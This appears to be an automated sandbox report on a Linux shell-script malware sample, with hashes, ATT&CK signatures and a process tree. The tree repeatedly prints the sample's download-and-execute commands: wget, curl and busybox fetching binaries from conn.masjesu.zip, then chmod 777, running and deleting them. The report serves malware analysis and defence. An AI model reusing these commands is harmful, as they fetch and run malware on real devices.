59a0133ce4cee7c4125b64a730c0ef1683f745b195e83640ac4dba71b2c35f76

Analysis

max time kernel
118s
max time network
120s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
30/10/2024, 02:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
59a0133ce4cee7c4125b64a730c0ef1683f745b195e83640ac4dba71b2c35f76.sh
Size 10KB
Sample241030-c1fabsvekk
SHA256 59a0133ce4cee7c4125b64a730c0ef1683f745b195e83640ac4dba71b2c35f76
MD5 2ab6b439e7b5a15c6839191360b9a06a
SHA1 c270c3f811248d555246b98069a5a84a9ea5f49e
SHA512 bc9b5609ba19477d1217d6951bd2f11ca7bbe4c8d549963a7f9133ebd2d60aa96557ad7d0e64c0a342e9671dc0c41d0fc4742a4325344f15ceff18a2833126d1
SSDEEP 192:9U0fiGNNBEz+6jsMOBv3klJ4tAObPSB5RiU0fiGdNBE+6jsMYv3klJwbPSB5RI:9U0fiGNNBECBv3klJ4tAHUU0fiGdNBD3
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
745	chmod
921	chmod
943	chmod
951	chmod
1010	chmod
782	chmod
883	chmod
972	chmod
1025	chmod
897	chmod
752	chmod
890	chmod
965	chmod
808	chmod
854	chmod
905	chmod
994	chmod
828	chmod
839	chmod
979	chmod
1002	chmod
1017	chmod
913	chmod
760	chmod
928	chmod
935	chmod
958	chmod
987	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
748	wget
764	wget
804	busybox
835	wget
969	curl
975	wget
991	curl
731	curl
788	wget
901	wget
984	curl
765	curl
889	busybox
894	curl
904	busybox
1016	busybox
838	busybox
887	curl
934	busybox
939	wget
990	wget
999	curl
1021	wget
743	busybox
826	busybox
886	wget
940	curl
947	wget
968	wget
794	curl
950	busybox
962	curl
964	busybox
1014	curl
942	busybox
986	busybox
1024	busybox
924	wget
842	wget
912	busybox
918	curl
961	wget
971	busybox
983	wget
749	curl
902	curl
925	curl
1007	curl
896	busybox
909	wget
976	curl
993	busybox
1006	wget
1013	wget
719	wget
955	curl
978	busybox
877	busybox
932	curl
851	busybox
920	busybox
957	busybox
998	wget
1009	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL	curl
File opened for modification	/tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT	curl
File opened for modification	/tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL	curl
File opened for modification	/tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1	curl
File opened for modification	/tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN	curl
File opened for modification	/tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ	curl
File opened for modification	/tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK	curl
File opened for modification	/tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh	curl
File opened for modification	/tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ	curl
File opened for modification	/tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf	curl
File opened for modification	/tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf	curl
File opened for modification	/tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq	curl
File opened for modification	/tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ	curl
File opened for modification	/tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI	curl
File opened for modification	/tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK	curl
File opened for modification	/tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq	curl
File opened for modification	/tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h	curl
File opened for modification	/tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h	curl
File opened for modification	/tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN	curl
File opened for modification	/tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT	curl
File opened for modification	/tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g	curl
File opened for modification	/tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1	curl
File opened for modification	/tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g	curl
File opened for modification	/tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm	curl
File opened for modification	/tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ	curl
File opened for modification	/tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI	curl
File opened for modification	/tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm	curl
File opened for modification	/tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh	curl

/tmp/59a0133ce4cee7c4125b64a730c0ef1683f745b195e83640ac4dba71b2c35f76.sh
/tmp/59a0133ce4cee7c4125b64a730c0ef1683f745b195e83640ac4dba71b2c35f76.sh
1⤵
PID:713
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:716
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - System Network Configuration Discovery
  PID:719
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - System Network Configuration Discovery
  PID:743
- /bin/chmod
  chmod 777 M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  ./M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:747
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - System Network Configuration Discovery
  PID:748
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:751
- /bin/chmod
  chmod 777 Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  ./Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:755
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:759
- /bin/chmod
  chmod 777 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  ./5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:763
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - System Network Configuration Discovery
  PID:764
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:765
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:777
- /bin/chmod
  chmod 777 KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  ./KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Executes dropped EXE
  PID:783
- /bin/rm
  rm KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:786
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - System Network Configuration Discovery
  PID:788
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:794
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - System Network Configuration Discovery
  PID:804
- /bin/chmod
  chmod 777 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  ./62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Executes dropped EXE
  PID:809
- /bin/rm
  rm 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:812
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - System Network Configuration Discovery
  PID:826
- /bin/chmod
  chmod 777 fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  ./fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:834
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - System Network Configuration Discovery
  PID:835
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - System Network Configuration Discovery
  PID:838
- /bin/chmod
  chmod 777 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  ./2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  PID:841
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - System Network Configuration Discovery
  PID:842
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - System Network Configuration Discovery
  PID:851
- /bin/chmod
  chmod 777 FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  ./FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  PID:859
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:861
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - System Network Configuration Discovery
  PID:877
- /bin/chmod
  chmod 777 iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  ./iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:885
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - System Network Configuration Discovery
  PID:886
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - System Network Configuration Discovery
  PID:889
- /bin/chmod
  chmod 777 PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  ./PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:892
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - System Network Configuration Discovery
  PID:896
- /bin/chmod
  chmod 777 dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  ./dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:900
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - System Network Configuration Discovery
  PID:901
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - System Network Configuration Discovery
  PID:904
- /bin/chmod
  chmod 777 CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  ./CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:908
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - System Network Configuration Discovery
  PID:909
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - System Network Configuration Discovery
  PID:912
- /bin/chmod
  chmod 777 aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  ./aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:916
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - System Network Configuration Discovery
  PID:920
- /bin/chmod
  chmod 777 UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  ./UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:923
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - System Network Configuration Discovery
  PID:924
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:927
- /bin/chmod
  chmod 777 M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  ./M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:930
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:931
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - System Network Configuration Discovery
  PID:934
- /bin/chmod
  chmod 777 Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  ./Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:938
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - System Network Configuration Discovery
  PID:939
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - System Network Configuration Discovery
  PID:942
- /bin/chmod
  chmod 777 KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  ./KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:946
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - System Network Configuration Discovery
  PID:947
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - System Network Configuration Discovery
  PID:950
- /bin/chmod
  chmod 777 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  ./62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:953
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:954
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - System Network Configuration Discovery
  PID:957
- /bin/chmod
  chmod 777 fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  ./fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Executes dropped EXE
  PID:959
- /bin/rm
  rm fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:960
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - System Network Configuration Discovery
  PID:961
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - System Network Configuration Discovery
  PID:964
- /bin/chmod
  chmod 777 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  ./2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  PID:967
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - System Network Configuration Discovery
  PID:968
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - System Network Configuration Discovery
  PID:971
- /bin/chmod
  chmod 777 FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  ./FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  PID:974
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - System Network Configuration Discovery
  PID:975
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - System Network Configuration Discovery
  PID:978
- /bin/chmod
  chmod 777 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  ./5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:982
- /usr/bin/wget
